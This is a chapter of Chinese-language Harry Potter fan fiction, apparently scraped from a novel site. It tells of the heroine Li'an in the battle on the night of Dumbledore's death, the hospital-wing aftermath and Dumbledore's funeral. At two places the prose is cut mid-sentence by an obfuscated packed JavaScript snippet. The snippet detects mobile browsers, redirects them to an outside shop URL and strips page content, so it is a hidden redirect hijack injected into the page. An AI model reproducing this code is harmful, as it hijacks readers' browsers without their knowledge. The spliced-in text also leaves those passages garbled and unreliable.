莉安落在地上变形,她惊险的躲过头顶上方的一个爆炸,瓦砾碎片如阵雨一般落下,周围是乒乒乓乓的激战声、其他人见到她惊喜的大喊声,以及躺在地上、不知死活的人的微弱呼叫声,她听见了越来越多的尖叫声和喊叫声,好像城堡里的其他人都被惊醒了。 橡木大门完全被炸开了,门前的石板上沾有血痕,好几个吓呆了的学生在墙边挤成一团,其中一两个还用胳膊遮住了脸,巨大的格兰芬多沙漏被咒语击中,里面的红宝石还在噼里啪啦的往石板上掉,滚到了礼堂外面。 夜晚的凉风撕扯着她的肺,她突然看见前方一道闪光映出了场地上四个人的轮廓,哈利、斯内普、德拉科·马尔福和一个金发食死徒,光亮是海格小屋发出来的,他从他的木屋里冲了出来,试图阻止食死徒逃跑。 这时,两个粗壮的食死徒从城堡里奔了出来,正要对哈利发射咒语,莉安举起魔杖,用了勒洛伊的古代魔法,极快的标记了这对一男一女的食死徒,“Innumerable! ” 这是前置标记咒语——恒河沙数,然后她迅速念了昏迷咒,咒语一分为二,耀眼的红光直射两人,他们踉跄着倒在地上,不再动了。 斯内普和小马尔福仍在逃跑,很快就要跑出大门了——那里可以幻影移形,莉安想要标记他们两个,却听见身后的大块头食死徒大吼道,“incendio! ” 随着一声爆破般的巨响,一个飞舞着的橙色火球四窜开来,海格的木屋着火了。 “牙牙在里面,你这个恶魔!”海格怒吼道。 “Crucio——”哈利指着火光里的身影高喊,但是斯内普把他的魔咒挡掉了。 莉安看到他在冷笑。 “你别用不可饶恕咒了,波特!”斯内普在熊熊的火焰、海格的怒吼和火屋里牙牙的狂吠声中喊道,“你还没有足够的胆量和能力——” “速速禁——”哈利咆哮道,但斯内普几乎是懒洋洋的轻轻拨开了他的魔咒。 “回击啊!”哈利冲他狂叫道,“回击啊,你这个懦夫——” “别叫我懦夫!”斯内普吼道,“你父亲从来不敢攻击我,除非是四对一,我倒想知道你会叫他什么呢?” “快过来!”他冲着哈利身后的大块头食死徒喊道,“该走了,别让魔法部发现我们——” 莉安标记了斯内普和德拉科,极快的把他们两个钩到自己身边,像用无形的绳子把他们绑住了似的。 “我可是一直盼着亲手把你送进阿兹卡班啊,斯内普,”她又快意的拍了拍德拉科冷汗直流的脸颊,“哎呀,居然还有亲爱的小马尔福,每次我去阿兹卡班,你爸爸都痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利扑向他的魔杖,但斯内普向魔杖施了个魔咒,魔杖飞入黑暗中不见了。 哈利愤怒的看着他,“像杀他一样杀了我吧,懦夫——” “不许!”斯内普尖叫道,他的脸突然变得无比疯狂,毫无人性,好像同他们身后火屋里厉声狂吠的那条狗一样痛苦,“不许叫我懦夫!” 斯内普猛烈的抽打着空气,莉安立刻施放铁甲咒,把倒在地上的哈利护住,就在这时,天空中传来一阵翅膀的扑棱声,巨大的影子遮住了天空中的星星。 一头鹰头马身有翼兽飞到了斯内普的头上,刀一样锋利的爪子抓得他连连后退,哈利坐了起来,“不能让他走!” “但是邓布利多让我们配合他,”莉安小声说,“哈利,我也想把他送进阿兹卡班,可你知道的,他的身份,现在不能意气用事——” 斯内普拼命奔跑着,鹰头马身有翼兽拍着翅膀在后面紧追不放,发出一种哈利从未听过的尖厉吼叫—— 哈利挣扎着站了起来,东倒西歪的寻找他的魔杖,嘴里喃喃的说,“但是他杀了邓布利多!” “你说什么?”莉安震惊了片刻,来不及多想,立刻对斯内普发射咒语,但此时鹰头马身有翼兽正在在大门口的空中盘旋着,斯内普已经抓着瘫成一团的德拉科在城堡外幻影移形了。 “海格呢?”哈利终于摸到了魔杖,他看到斯内普已经跑掉了,愤恨的喘了口气,环顾四周,“海格?” 莉安扶着他,两人跌跌撞撞的朝燃烧的房子走去,海格扛着他的猎犬从火焰中走了出来,哈利欣慰的叫了一声,跪了下去,他的四肢都在发抖。 “你没事吧,哈利?你没事吧?”海格手足无措的叫道,“说话呀,哈利…” “他刚中了钻心咒,就是那个烧了你房子的食死徒,”莉安忧郁的望着斯内普离开的方向,“别担心,我击昏了他,他和那对食死徒都会被我送进阿兹卡班。” “那就好…”海格汗毛粗重的大脸在他们上方晃来晃去,把星星都遮住了,空气中似乎弥漫着木头和狗毛烧焦的气味儿。 “我没事,”哈利喘息着说,“你呢?” “我当然…那还要不了我的命。” 海格的一只眼睛下面有个很深的伤口,血正顺着脸颊往下流,伤口在迅速肿胀。 “应该把你房子的火灭掉,”哈利说,“咒语是清水如泉……” “我知道,”海格嘟囔道,他举起一把冒着烟的粉红色花伞,一道水柱从伞顶飞出,莉安也举起魔杖,水浇在房子上,直到浇灭了最后一点火星。 “还不是太糟,”几分钟后,海格望着冒烟的废墟,满怀希望的说,“没有什么邓布利多摆不平的…” 一听到邓布利多的名字,莉安只能沉默,在这片寂静中,只有哈利近乎呢喃的声音。 “海格…” “听到他们过来的时候,我正在给护树罗锅包扎伤腿,”海格盯着他那烧毁的木屋,悲伤的说,“都烧成枯树枝了,可怜的小东西们…” “海格…” “到底发生什么事了,哈利?我看到那些食死徒从城堡里跑下来,斯内普对他们干了什么?他去哪儿了——他是在追他们吗?” “他…”哈利清了一下嗓子,“海格,他杀了…” “杀了?”海格瞪着哈利大声说,“斯内普杀人了?你在说什么,哈利?” “邓布利多,”哈利说,“斯内普杀了…邓布利多。” 海格呆呆的看着哈利,又望望莉安,仿佛是想得到一些确信,但莉安并不知道斯内普为什么要杀死邓布利多,可是小巴蒂又说他的确是邓布利多的人… 她想不明白,只好低下头去,而海格看着他们两个,浓密的毛发间露出的那一小块脸庞一片茫然,困惑不解。 “邓布利多怎么了,哈利?” “他死了,斯内普杀了他…” “别这么说,”海格粗声说,“斯内普杀了邓布利多——别说傻话,哈利,你是怎么了?” “我看到的。” “不可能。” “我看到了,海格。” 海格摇着头,他的表情混合着怀疑和同情。 “邓布利多一定是让斯内普跟着那些食死徒,”海格自信的说,“我猜他是不能暴露身份,现在,我们得把你送回城堡去,走吧哈利。” 哈利不再说话了,但是莉安感觉他一直在瑟瑟发抖,她把哈利的一只手臂搭在肩上,搀扶着他沉默的往城堡走去,此时许多窗子里的灯都亮了。 也许里面的人正在奔走相告,描述刚刚战斗的情景,黑魔标记闪耀在霍格沃茨上空,一定有人被杀了… 橡木大门敞开在他们的面前,灯光照在车道和草坪上,慢慢的,穿着睡衣的人群疑惑的走下楼梯,紧张的向四周张望着,寻找在夜幕中逃走的食死徒留下的痕迹。 就在他们一言不发的往天文楼走时,人群开始往那里移动。 “他们在看什么?”走近城堡时,海格问,牙牙紧跟在他们后面,“那是什么躺在草地上?” 海格急切的往天文楼下跑去,那里正聚集着一小群人,“看见了吗,哈利?就在塔楼下,在标记下面…啊呀…你不觉得有人被摔——” 海格突兀的住了口,他们像做梦一样穿过低语的人群,来到最前面,吓呆了的师生们在那儿让出了一个缺口。 他们继续慢慢的向前移动,直到走到邓布利多躺着的地方,蹲在他的身旁。 今生今世他们遇到的、或许以后再也遇不到的最好的巫师,四肢摊开,手脚折断,横躺在眼前。 邓布利多双眼紧闭,从他四肢摊开的角度看起来像是在熟睡,哈利伸手扶正那鹰钩鼻上的半月形眼镜,用自己的袖子擦了一下他嘴角的血痕,他们低头凝视着那张充满智慧的苍老的脸庞,努力的去面对这个难以接受的事实:邓布利多再也不会对他们说什么了,再也不可能帮他们什么了。 身后的人群在低语,牙牙开始嗥叫,泪水模糊了所有人的眼睛。 30. 葬礼 听不清楚的话语从四面八方传来,抽泣、叫喊和哀号划破了夜空,这时,一个声音说,“我们走吧。” “去哪儿?”哈利不情不愿的说。 莉安起身,他们一起走上台阶,进入门厅,一张张面孔在他们视线边缘晃动,窃窃私语,惊愕迷茫,他们向大理石楼梯走去,格兰芬多的红宝石散落在地上,闪耀着血滴一样的红光。 “去医疗翼,”金妮说,“是麦格教授的命令,大家都在那里,罗恩,赫敏,卢平和所有的人——” “还有谁死了?”莉安问。 “我们之中没有人死。” “但是马尔福说他踩到了一具尸体。”哈利说。 “他踩到了比尔,但他没事,他还活着。” “那就好。”听到是比尔,莉安的心猛地提了起来,听到金妮的后半句话才松了口气。 “但是他伤得很重,那个狼人芬里尔·格雷伯克袭击了他,庞弗雷夫人说,他不会…不会再像从前一样了…”金妮的声音有点发抖,“我们不知道会有什么样的后遗症——幸好当时格雷伯克没有变成狼形。” 莉安已经有些六神无主了,她抿着嘴,不安的加快了脚步。 “其他人呢…当时地上还有别人…” “纳威也在医院里,庞弗雷夫人认为他会完全康复的,弗立维教授也被打昏了,但他没事,只是有一点虚弱,死了一个食死徒,是被那个大块头金发食死徒射出的四处乱飞的杀戮咒击中的,哈利,如果我们没有喝你给的福灵剂,我想我们肯定都阵亡了,那些咒语好像都刚好差一点点,就是击不中我们…” 他们到了医疗翼,推开门,罗恩、赫敏、小天狼星、唐克斯和卢平都围在最里面的一张病床边,听到开门声,他们抬起头,小天狼星跑了过来,一把抱住哈利,卢平也满脸忧虑的走了过来。 “你没事吧,哈利?” “我没事。” “比尔怎么样?”莉安迫不及待的问。 没有人回答,莉安心中升起一股不详的预感,她快步走到病床前,看到了一张皮开肉绽、奇形怪状、无法辨认的脸。 比尔安静的躺在枕头上,庞弗雷夫人正在用一种刺鼻的绿色药膏擦拭他的伤口。 “治不好了吗?”她焦急的问庞弗雷夫人。 “没有魔咒可以治疗这些伤口,”庞弗雷夫人叹了口气,“我已经试过我知道的所有魔法,没有一种可以治愈狼人咬的伤口。” “但他不是在满月时被狼人咬的呀?”罗恩说,他低头凝视着他哥哥的脸,好像能用目光使他的伤口愈合似的,“芬里尔·格雷伯克没有变成狼形,所以比尔肯定不会变成一个真的——” “他不会变成真正的狼人,”卢平说,“但并不是说一点变化都没有,这些是带魔法的伤口,它们不可能彻底愈合,而且比尔今后可能会有些狼人的特征。” “邓布利多在哪儿?”罗恩说,“他肯定知道怎么做,比尔是听从他的命令迎战那些疯子的,邓布利多要对他负责,他不能就这样放手不管——” “罗恩,邓布利多死了。”金妮说。 “不可能!”小天狼星把目光转向了哈利,希望他能否认,但哈利没有。 “他是怎么死的?”唐克斯低声问,“是怎么发生的?” “斯内普杀了他,”哈利说,“我当时在场,亲眼看到的,我们一起回到天文塔,因为黑魔标记就在那儿…但是邓布利多病了,他很虚弱,但我想,当我们听到有人跑上楼来时,他已经意识到那是一个圈套,邓布利多用魔咒把我定住了,我什么都做不了,我穿着隐形衣,然后马尔福从门口进来,缴了他的武器——” 赫敏捂住嘴巴,罗恩叹息着。 “更多的食死徒来了,然后斯内普下了手,阿瓦达索命咒。”哈利说不下去了。 “这完全就是他能做出来的事,”小天狼星的脸上带着深深的憎恨,他尖刻的说,“我早就知道他不是个好东西,莱姆斯,你该醒醒了,别把你的善良浪费在鼻涕精上面,最好别让我抓到他…” 卢平瘫坐在比尔床边的椅子上,双手捂着脸。 庞弗雷夫人突然泪如雨下,她用手捂住嘴,咽着泪水,眼睛睁得大大的,此时在外面黑暗中的某个地方,凤凰正唱着一首令人动容的凄婉挽歌,在校园里和城堡的窗户间回荡。 过了很久,麦格教授推门走进病房,她身上也有战斗后的痕迹,脸上有些许擦伤,长袍也被撕破了。 “莫丽和亚瑟正向这边赶来,”她说,“哈利,怎么回事?听海格说你当时是和邓布利多教授在一起的,当那件事发生的时候,海格还说斯内普教授好像参与了什么…” “斯内普杀了邓布利多。”哈利说。 麦格盯着他愣了一会儿,然后摇晃起来,庞弗雷夫人向前跑了几步,用魔法变出一把椅子,放在了她身后。 “斯内普,”麦格虚弱的跌坐在椅子上,“我们都怀疑…但邓布利多相信…一直…” “哈利不会撒谎,而邓布利多也会出错!”小天狼星气愤的说。 “斯内普是很高超的大脑封闭大师,”卢平的声音非常刺耳,与平时大不一样,“这是我们都知道的事实。” “但是邓布利多发誓说他是我们这边的人,”唐克斯轻声道,“我一直认为邓布利多一定知道斯内普的一些情况,那是我们不知道的…” “邓布利多总是暗示他有牢不可破的理由信任他,”麦格教授喃喃道,用格子花边的手帕擦着不断流泪的眼角,“我是说,从斯内普的历史表现来看,大家当然会对他存有怀疑…但是邓布利多明确的告诉我,斯内普的忏悔是绝对发自内心的…他不想听到一句说他的坏话!” “我倒想知道斯内普是怎么说服他的。”唐克斯说。 “我知道,”哈利愤怒的说,“斯内普透露消息给伏地魔,导致伏地魔追杀我的父母,然后斯内普告诉邓布利多,他当时没有意识到自己那样做的后果,他十分抱歉他走漏了消息,他对于他们的死感到遗憾。” “邓布利多就相信他了?”小天狼星难以置信,他愤怒的吼道,“邓布利多就相信了鼻涕精对詹姆的死感到抱歉?他总是把人想得太好了!愿意给他们第二次机会,但这完全是错的,斯内普那个让人恶心的家伙一直憎恨詹姆!他是故意的!詹姆救过他的命,他却恩将仇报!” “而且他还认为我妈妈也一文不值,”哈利说,“因为她是麻瓜生的,他叫她‘泥巴种’…” 莉安听着他们你一言我一语的描述着今晚唐克斯、卢平、小天狼星和比尔的守卫巡逻行动,以及战斗的经过,她没有说话,而是盯着比尔那张血肉模糊的脸,轻轻的摸了摸他唯一完好的额头。 她一直对他有愧,他们从小一起长大,不知不觉中变成了恋人,她以为他们会永远这样——直到小巴蒂出现,她和比尔完全失去了联系,因为她和小巴蒂经历了太多,他们仿佛是很久以前的恋人那样,当他们再次重逢,便爱得难分难舍,她不能吊着比尔,哪怕她知道,比尔那么温柔,他会愿意等她回心转意的,但是这对他不公平,所以她选择了分手。 “比尔…” 比尔难受的皱了皱眉,轻轻的呢喃着什么,就在这时,医疗翼的门突然被撞开,大家都吓了一跳。 韦斯莱夫妇大踏步走进来,芙蓉紧跟在后面,她美丽的脸庞上满是恐惧,小巴蒂走在最后,他关上了门,视线敏锐的落在莉安如被火烫伤了一般刚收回的手指上。 “莫丽,亚瑟,”麦格教授急忙跳起来跟他们打招呼,“我很抱歉——” “比尔,”莫丽轻声呼唤着她儿子的名字,她看到比尔惨不忍睹的脸后,疾步从麦格教授旁边走过,“哦,比尔…” 莉安连忙让开,卢平和唐克斯迅速站起来,朝后退了几步,让韦斯莱夫妇走近床边,莫丽弯下身,轻吻着比尔血染的额头。 “你是说芬里尔·格雷伯克攻击了他?”亚瑟担忧的看着麦格,“芬里尔·格雷伯克当时没有变成狼形是什么意思?比尔会怎么样?” “我们现在还不知道。”麦格教授无助的看向卢平。 “可能会有一些变化,亚瑟,”卢平说,“这种情况很少见,可能很特殊…我们还不知道他醒来后会变得怎样…” 莫丽从庞弗雷夫人手中拿过那个难闻的药膏,开始往比尔的伤口上涂抹。 小巴蒂来到莉安旁边,瞥了比尔一眼就侧身把她搂在怀里。 莉安无声的哭泣着,泪水顺着他的脖颈流到了他敞开的领口里。 “那么邓布利多…”亚瑟问,“米勒娃,是真的吗?他真的…” 当麦格教授点头时,大家不由自主的眯起眼睛盯着芙蓉,想知道她的反应,而芙蓉正低头凝视着比尔,脸上一副惊呆了的表情。 莫丽开始止不住的抽噎,眼泪滴在比尔满是伤痕的脸上。 “当然,长相并不重要…这并不真的重要…但他一直是个英俊的孩子…一直很英俊…他本来打算要结婚的…” “什么意思?”芙蓉突然大声的说,“你是什么意思,他本来打算要结婚的?” 莫丽抬起满是泪痕的面庞,很是惊讶。 “我只是说——” “你认为比尔不想和我结婚了?”芙蓉质问道,“你认为,因为这些伤口,他就会不爱我了?” “不,我不是那——” “他不会的!”芙蓉挺直了腰,把银色的长发向后一甩,“一个狼人是阻止不了比尔爱我的!” “嗯,对,我也相信,”莫丽讷讷的说,“但我想可能…考虑到他现在毁容…你——” “你认为我会不想和他结婚?或者你希望我不想和他结婚?”芙蓉气得鼻子都在冒烟,“你认为我只在乎他的长相是吗?哼!但是我认为我一个人的美貌对我们俩来说已经足够了!所有这些伤疤都说明我的丈夫是勇敢的!我来!” 她气势汹汹的推开莫丽,从她手中抢过药膏。 莫丽傻愣愣的跌到了亚瑟身上,看着芙蓉大把的给比尔抹着药膏,脸上带着古怪的表情。 没有人说话,大家动都不敢动,仿佛在等待着一场火山爆发。 “我们的穆丽尔姨妈,”过了片刻,莫丽声音颤抖的说,“有一个很漂亮的头冠,妖精做的,我相信我能说服她借给你在婚礼上用,她很喜欢比尔,你知道,那头冠戴在你头发上会很美丽的。” “谢谢,”芙蓉生硬的说,“我当然会很美丽。” 突然,两个女人抱头痛哭,就在大家还没搞清楚状况时,唐克斯突然两眼放光的盯着卢平,“你看!芙蓉仍然想和比尔结婚,尽管他被咬过了!但她不在乎!” “这不一样,”卢平突然显得很紧张,他嘴唇抖动着,“比尔不会变成一个完全的狼人,这和我没有可比性——” “但我也不在乎,我不在乎!”唐克斯抓住卢平的长袍领口不停的摇着,“我告诉过你一百万次了…” “我也告诉过你一百万次了,”卢平躲避着唐克斯的目光,低头盯着地板,“我年纪太大了,不适合你,也太穷了…太危险了…” 小天狼星目瞪狗呆的看着这一幕,他觉得这更像是个闹剧,“你们两个什么时候?” 卢平现在看起来简直恨不得钻进地缝里去,毕竟唐克斯是小天狼星的外甥女。 “你这个理由太荒谬了,莱姆斯。”莫丽轻轻拍着芙蓉的背,从芙蓉的肩上冲着他说。 “我一点都不荒谬,”卢平躲躲闪闪的说,“唐克斯应该有一个年轻而健全的人爱她。” “但是她想要你,”莫丽轻轻一笑,“再说,莱姆斯,年轻而健全的男人不一定能永远保持那样。” 她悲伤的指了指她的儿子。 “但是现在讨论这个不合适,”卢平慌乱的环顾四周,回避大家的目光,“邓布利多死了…” “我也不在乎,”一个微微有些颤抖,带着哭腔的声音说,“我不在乎…我就是喜欢你。” 众人寻找声音的来源,却惊讶的发现那声音是莉安发出来的,她那沉默寡言的丈夫正温柔的抱着她,低垂着眼睛,下巴在她额头上亲昵的蹭了蹭。 众人都有些疑惑不解,他们不明白莉安是什么意思,毕竟乔希给所有人的印象都很好,他看起来没有什么缺点——除了不那么英俊,并且让莉安很早就生下了他的孩子之外,他几乎是完美的。 只有赫敏露出了一个耐人寻味的表情。 “如果这个世界拥有更多的爱,邓布利多会比任何人都更高兴。”麦格教授简短的说。 这时门又开了,海格走了进来。 他脸上没有胡子和头发的那一小块地方被泪水浸透了,而且肿了起来,他哭得身子发抖,手中攥着一块斑斑点点的桌布。 “我已经完成了,麦格教授,”海格哽咽着说,“把他搬走了,斯普劳特教授让孩子们都回床上睡觉了,弗立维教授还在躺着,但他说过一会儿就会好的,斯拉格霍恩教授说已经通知魔法部了。” “谢谢你,海格,”麦格教授马上站了起来,转过身看着围在比尔床边的人们,“魔法部的人来后,我可能得去见见他们,海格,请你告诉四个学院的院长——斯拉格霍恩可以代表斯莱特林——说我要马上在我的办公室会见他们,我希望你也来。” 海格点着头,转过身慢慢的走出了屋子。 “还有那三个被我击昏的食死徒,都在场地上摆着呢,”莉安出声提醒道,“让部里的人把他们送去阿兹卡班吧,我是不想再跑一趟了。” “没问题,”麦格教授点点头,低头看着哈利,“不过在见他们之前,我想和你说几句话,哈利,你可以过来一下吗…” 哈利也站了起来,喃喃的对大家说,“一会儿见。” 他跟在麦格教授后面走出了病房,此时外面的走廊显得空空荡荡的,惟一的声音是远处凤凰的歌声。 “回去吗?”小巴蒂低声说。 “回去吧,”莉安点点头,她的眼睛哭得都有些肿了,鼻头红红的,她哽咽着说,“莫丽,别担心了,比尔会好的,他不会变成狼人。” 莫丽抽泣一声,似乎是在回应,她看着精心照顾比尔的芙蓉,放松的喘了口气。 邓布利多的葬礼在三天后举行,此时霍格莫德很难找到一张床位,因为有很多巫师涌到了村子里,想向邓布利多作最后的告别,猪头酒吧变得拥挤不堪,连走廊尽头那间有臭虫的房间都以高价租了出去。 莉安每天巡逻之后,就会去医疗翼探望比尔,他一直在霍格沃茨接受庞弗雷夫人的照料,他的伤疤还是那么触目惊心,甚至跟穆迪有几分相似,幸好他的眼睛和双腿还完好无损。 不过他的性格似乎一点儿没变,惟一有所改变的是他现在突然酷爱吃煎得很嫩的牛肉了。 “幸亏他要跟我结婚,”芙蓉一边帮比尔把枕头拍得松软一些,一边高兴的说,“因为英国人总是把肉煎得太老,这话我说过好多遍了。” 莉安对她笑了笑,“我认为法国美食很棒。” “你很识货,”芙蓉赞赏的说,“我知道你来自勒洛伊家族,而普威特也是法国的家族,只是几百年前来到英国征战,然后定居在这里,你其实是个标准的法国女人。” (Prewett,法国姓氏,意思是“骁勇、正派”,普威特家族是诺曼征服时期的法国贵族。) (Leroy,法国姓氏,意思是“国王”,但并不是君主后裔的意思,而是勒洛伊的祖先——大魔法师托宾,获得了当时的国王查理曼大帝的财产和土地。) 莉安点点头,“是啊,我在法国还有个庄园,那里盛产葡萄酒。” “所以我才说,乔希娶了你,他真的很幸运,”芙蓉感叹道,“以前我不知道你喜欢他什么,毕竟他看起来一点儿也不英俊,但现在比尔也没那么英俊了,可我还是喜欢他,突然就有点理解你了呢。” 莉安差点憋不住笑容。 毕竟小巴蒂真的很英俊!他脸上的雀斑恰到好处,十几岁时只是单纯的帅气,现在年龄上来了,眼尾有了纹路,反而多添了几分性感,哪怕她不是个颜控的人,有时候也会被迷得神魂颠倒,就算小巴蒂是个神经病,时不时发疯,有时又会显得非常粗暴,经常折腾得她下不来床,但看到他的脸,她就总会没出息的原谅他了。 如果芙蓉看到他的真面目,估计就不会说出这种话了。 “看来我只好面对现实,他是真的要娶她了。”离开医疗翼后,金妮叹着气说。 “她还好吧,”莉安惊讶的看着她,“至少她是真的爱着比尔,并不是单纯被比尔的外貌所吸引,这很可贵。” 金妮勉强笑了几声。 “唉,既然妈妈都能忍受,我想我也没问题。” 两人在门厅分别,当城堡大门映入眼帘时,小巴蒂已经在那里等着了,他的斗篷在夏日静止的空气里几乎纹丝不动。 “斯内普现在怎么样了?”两人并排着往霍格沃德走去时,莉安问道,“部里的人手还在寻找他,但没有线索…” “当然不会有,”小巴蒂说,“除非他们找到伏地魔才能找到斯内普,他们在一起呢。” “没想到还真让小马尔福得手了…” “就凭他?”小巴蒂不屑的撇了撇嘴,“这是计划好的,顺水推舟罢了,你没发现邓布利多那只枯焦的手?那是一个高明的诅咒——伏地魔的诅咒,邓布利多很快就会死的,他没想着瞒我,因为他知道瞒不过我。” “你之前没告诉我呀!” “那是我不知道他打算怎么死,现在知道了。” 他们在渐浓的暮色中往猪头酒吧走去,空气中充满温暖的青草气息和湖水的味道,莉安叹息一声,惆怅的望了望如今拥挤的街道。 “人都会有这一天的…” “但是巫师的寿命很长,”小巴蒂安慰道,“我们会在一起很久。” “我希望是这样,”莉安握住了他的手,看着他的眼睛,一字一句认真的说,“巴蒂,陪我久一点儿,好吗?直到我死去——” “那你也要陪我久一点儿,”小巴蒂有些心不在焉,“别再让那种事发生了,别让我得到又失去,你不能这么做,丢下我一个人是很残忍的事。” “我答应,”莉安抱着他的腰,轻声的说,“我答应。” 小巴蒂勾了勾嘴角,用义无反顾的柔情和爱让他待在正义的一方,是她在面对他时惯用的伎俩,她当然也犹豫过,要么不经意的想赶他离开,要么让他扮演一个被遗忘的人,一个等待的人,一个徘徊的人,一个抱着希望的人。 如果他最终决定离开,她一定会苦不堪言,她的心会稀里哗啦的碎掉,变成散落一地的玻璃碎片,再也拼凑不出完整的样子,因为这证明了她的爱没有任何结果,证明她抱着最渺茫的希望赌一个拯救他的可能,却是失败。 他的双手环绕在她背后,抚摸了她单薄的后背和漂亮的浅金色长发。 这一刻,最美丽的长发留在他手中。 多美的景色啊,不是吗? 因为霍格沃茨特快将在葬礼后一个小时出发,所以没有保护学生的必要了,傲罗指挥部已经下令暂时撤回傲罗小分队,也包括莉安,于是一大早,赫洛就背着莎莫回了祖宅。 吃过早饭后,小巴蒂喝了一口樱桃汁,两人往霍格沃茨的方向而去,这条路上已经有不少人了,他们都是来参加葬礼的。 进了城堡大门,所有人朝着黑湖的方向走去,这是夏季一个最美丽宜人的日子,温暖的阳光照在人们的脸上,他们默默的走向排列着好几百把椅子的地方,椅子中间有一个过道,前面放着一张大理石桌子,所有的椅子都朝向它。 一半椅子上已经坐了人,这些人鱼龙混杂,有衣衫槛楼的,有整洁体面的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727496|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有老年人,也有年轻人,凤凰社成员悉数到场,莉安发现,唐克斯的头发又奇迹般的变成了耀眼的粉红色,卢平正跟她手拉着手,他们旁边的小天狼星看起来神情十分古怪,一副正在做激烈的思想斗争的模样。 韦斯莱夫妇已经到了,芙蓉搀扶着比尔,后面跟着穿黑色火龙皮夹克衫的弗雷德和乔治,她甚至还见到了古怪姐妹的低音提琴手,霍格沃茨特快上推小车的女巫。 城堡里的幽灵也来了,在阳光下几乎看不见他们,只有走动时才能辨认出来,在明亮的空气中闪烁着虚幻的光芒。 莉安没有跟魔法部的人坐在一起,而是在靠近湖边那排椅子中间找了两个位置,和小巴蒂坐了进去。 人们在小声的互相交谈,声音像是微风吹过草地,而鸟叫的声音显得格外响亮,人群还在不断涌来。 康奈利·福吉经过莉安身边,朝前排的座位走去,他愁眉苦脸,看到莉安时,脸上的表情变得愤恨,但又掺杂着一丝恐惧。 莉安轻蔑的瞥了他一眼,福吉已经下台,并且在魔法界臭不可闻,就算他死了,也会遗臭万年,他根本不敢也不能拿她怎么样。 斯克林杰最后出现,他跟麦格一起坐在前排,神色十分庄重,此时全体人员都已落座,紧接着,宛如另一个世界的仙乐飘来,就在阳光照耀下的清澈的绿色湖水中,就在湖面下几英寸的地方,一支人鱼组成的合唱队用人鱼的语言在婉转歌唱,他们苍白的面孔荡漾不定,紫色的头发在他们周围漂浮。 这音乐明明白白的诉说着哀痛和绝望,禁林里的马人也来表示他们的哀悼,他们没有走到空地上来,而是半隐半现地站在阴影里,一动不动的望着这边的巫师们。 此时,海格沿着座位中间的过道慢慢往前走,他无声的哭泣着,脸上挂满亮晶晶的泪水,他怀里抱着邓布利多的遗体,用缀满金星的紫色天鹅绒包裹着。 海格把遗体小心翼翼的放在了桌子上,然后顺着过道往回走,就在这时,音乐停止了,一个头发浓密、穿一身朴素黑袍子的小个子男人从座位上站起身,站在邓布利多的遗体前。 莉安没有仔细听他说什么关于邓布利多的高贵的精神、学术成就、伟大的心灵,毕竟这些都没有多大意义,她只觉得一个对抗黑魔头的标杆倒下了,这让她有些茫然无助,眼泪噼里啪啦的掉了下来,在她腿上滚落。 她突然想起两年前邓布利多蹲在水边,差不多就在此刻她坐的这个位置,他用人鱼的语言跟人鱼的首领交谈,或许他们之间也还是需要一场对话,他应该有一些话要留给她,最少,他应该要确定她到底能不能完全控制小巴蒂再死去的… 她又想到邓布利多那个悲哀的表情,“可我希望能,莉安,我希望能…” 于是,突如其来的,可怕的事实朝她袭来,邓布利多死了,不在了…他们到底要怎样去打这场注定要输的战斗呢?邓布利多说,重要的是不断斗争、斗争、再斗争,只有那样才能把邪恶控制住,虽然永远不可能完全消灭… 小个子男人终于说完,回到了座位上,耀眼的白色火焰从邓布利多的遗体和那张桌子周围蹿了出来,火苗越蹿越高,遮挡住了遗体。 白色的烟袅袅的升向空中,呈现出各种奇怪的形状,仿佛一只凤凰欢快的飞上了蓝天,但紧接着火焰就消失了,那里出现了一座白色的大理石坟墓,把邓布利多的遗体和安放遗体的那张桌子都包在了里面。 无数枚箭像阵雨一样射向空中,禁林中的马人们转过身体,消失在阴凉的树丛中,那些人鱼也慢慢沉入绿色的水底,再也看不见了。 莉安坐在热辣辣的太阳底下,仿佛清清楚楚的看见那些逝去的人一个个站在她面前,她的爸爸、妈妈、叔叔,最后是邓布利多,然而现在除了迷途知返的丈夫,没有人能和她并肩而行了,没有人会理解她为何要嫁给他,凤凰社的人更不会,她必须抛弃那个早在四岁时就应该丢开的幻想——不再以为谁的怀抱会保护她,不让她害怕。 小巴蒂一边把她的头按在肩膀上,一边抿了一口樱桃汁,他冷静的可怕,在一众哭泣的人群里显得格格不入。 斯克林杰刚刚又在哈利面前受了挫,一瘸一拐的走了过来,珀西和魔法部代表团的其他成员都在座位上等着他,路过哭得厉害的唐克斯和莉安以及金斯莱身边时,他隐晦的瞪了这三个吃里扒外的傲罗好几眼。 都是凤凰社的人!他一定会找各种理由把这三个人支得远远的! 金斯莱&唐克斯&莉安:你是真的勇。 如果莉安能听到斯克林杰的心声,只会毫不客气的嘲笑他,何止都是凤凰社的人啊。 唐克斯的丈夫是狼人,而她的丈夫是食死徒,这可比他认为的“凤凰社的人”听上去还要恐怖百倍不止。 “斯克林杰又在打波特的主意,想要救世之星给魔法部站台,”小巴蒂毫不客气的小声嘲讽道,“他甚至还在打你和唐克斯的鬼主意,你等着看吧,金斯莱在麻瓜首相那里,已经被他变相驱逐出了权利中心,至于你嘛,亲爱的,混淆咒在等着你。” “这时候还有心思内斗,黑魔头都快跳到他脸上了,”莉安反感的说,“邓布利多的死,魔法部已经调查清楚了,也在通缉斯内普和小马尔福,他一点儿都不担心吗?连邓布利多都中了暗算,他以为他能躲过去吗?靠谁?难道靠德力士那个大傻瓜给他做保镖?” 